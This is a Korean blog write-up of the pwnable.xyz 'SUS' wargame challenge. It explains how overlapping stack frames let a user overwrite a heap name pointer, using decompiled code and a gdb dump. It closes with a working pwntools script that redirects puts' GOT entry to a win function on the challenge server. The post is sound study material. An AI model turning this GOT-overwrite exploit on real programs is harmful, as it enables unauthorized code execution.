본문으로 바로가기

pwnable.xyz / SUS

category Wargame/pwnable.xyz 2020. 1. 14. 20:13

함수 간에 스택 영역을 공유한다는 특이사항이 있다.

 

void __fastcall create_user()
{
  User user// [rsp+0h] [rbp-1060h]
  unsigned __int64 __canary// [rsp+1058h] [rbp-8h]

  __canary = __readfsqword(0x28u);

  if ( !user.name )
  {
    user.name = (char *)malloc(0x20uLL);
    memset(user.name, 00x20uLL);
  }

  printf("Name: ");
  read(0user.name, 0x20uLL);
  printf("Age: ");
  read_int32();
  cur = &user;
}

 

void __cdecl edit_usr()
{
  User *user// rbx

  if ( cur )
  {
    printf("Name: ");
    read(0cur->name, 0x20uLL);
    printf("Age: ");
    user = cur;
    user->age = read_int32();
  }
}

 

코드를 보기만 해서는 별다른 취약점이 있어보이지는 않는다.

함수 사이의 스택 영역이 겹친다는 점과, cur 에 스택 주소를 넣는 부분에 주목해야 한다.

 

 

 

create_useredit_usr 함수들을 호출할 때 스택의 구조를 표현한 것이다.

create_user 함수의 스택 최상단에는 name 을 가리키는 포인터가 있고, edit_usr 에서 read_int32 함수를 호출할 때 입력으로 0x20 바이트를 받기 때문에 해당 포인터를 조작할 수 있다. 이는 아래와 같이 디버거에서도 확인할 수 있다.

 

[----------------------------------registers-----------------------------------]
RAX: 0x5 
RBX0x7ffcf871f1b0 --> 0x191e2a0 ("this is name\n")
RCX: 0x0 
RDX: 0x0 
RSI0x7ffcf871cb40 --> 0x20203a656741 ('Age:  ')
RDI0x7fac544304c0 --> 0x0 
RBP0x7ffcf871f1d0 --> 0x7ffcf8720210 --> 0x7ffcf8720230 --> 0x0 
RSP0x7ffcf871f1a0 --> 0x7ffcf8720210 --> 0x7ffcf8720230 --> 0x0 
RIP0x400977 (<read_int32+8>:  mov    rax,QWORD PTR fs:0x28)
R8 : 0x5 
R9 : 0x5 
R100x400c9f --> 0x735500203a656741 ('Age: ')
R11: 0x246 
R120x4007d0 (<_start>:        xor    ebp,ebp)
R130x7ffcf8720320 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x40096f <read_int32>:       push   rbp
   0x400970 <read_int32+1>:     mov    rbp,rsp
   0x400973 <read_int32+4>:     sub    rsp,0x30
=> 0x400977 <read_int32+8>:     mov    rax,QWORD PTR fs:0x28
   0x400980 <read_int32+17>:    mov    QWORD PTR [rbp-0x8],rax
   0x400984 <read_int32+21>:    xor    eax,eax
   0x400986 <read_int32+23>:    lea    rax,[rbp-0x30]
   0x40098a <read_int32+27>:    mov    edx,0x20
[------------------------------------stack-------------------------------------]
0000| 0x7ffcf871f1a0 --> 0x7ffcf8720210 --> 0x7ffcf8720230 --> 0x0 
0008| 0x7ffcf871f1a8 --> 0x400a4e (<create_user+144>:   mov    DWORD PTR [rbp-0x1018],eax)
0016| 0x7ffcf871f1b0 --> 0x191e2a0 ("this is name\n")
0024| 0x7ffcf871f1b8 --> 0x0 
0032| 0x7ffcf871f1c0 --> 0x2 
0040| 0x7ffcf871f1c8 --> 0x0 
0048| 0x7ffcf871f1d0 --> 0x7ffcf8720210 --> 0x7ffcf8720230 --> 0x0 
0056| 0x7ffcf871f1d8 --> 0x400b3a (<edit_usr+113>:      mov    DWORD PTR [rbx+0x48],eax)
[------------------------------------------------------------------------------]
Legend: codedatarodata, value

Breakpoint 1, 0x0000000000400977 in read_int32 ()

 

cur->name 을 함수 GOT의 위치로 바꾼 뒤 그곳에 win 주소를 쓰고 플래그를 가져오면 된다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
import argparse


def CreateUser(name:bytesage:bytes) :
    p.writelineafter(b'> 'b'1')
    p.writeafter(b'Name: ', name)
    p.writeafter(b'Age: ', age)

def EditUser(name:bytesage:bytes) :
    p.writelineafter(b'> 'b'3')
    p.writeafter(b'Name: ', name)
    p.writeafter(b'Age: ', age)

def exploit() :
    puts_got = 0x602018

    payload = b'A'*0x10
    payload += p64(puts_got)

    CreateUser(b'A'b'1')
    EditUser(b'A', payload)
    EditUser(p64(0x400B71), b'1')   # win

    p.writelineafter(b'> 'b'4')

    p.interactive()


if __name__ == '__main__' :
    parser = argparse.ArgumentParser()
    parser.add_argument('-r''--remote'action='store_true'help='connect to remote server')
    args = parser.parse_args()

    if args.remote :
        p = remote('svc.pwnable.xyz'30011)
    else :
        p = process('./challenge')

    exploit()

 

 

 

Last update: 2/6/2021

'Wargame > pwnable.xyz' 카테고리의 다른 글

pwnable.xyz / strcat  (0) 2020.01.16
pwnable.xyz / J-U-M-P  (0) 2020.01.15
pwnable.xyz / fspoo  (0) 2020.01.14
pwnable.xyz / Game  (0) 2020.01.13
pwnable.xyz / l33t-ness  (0) 2020.01.13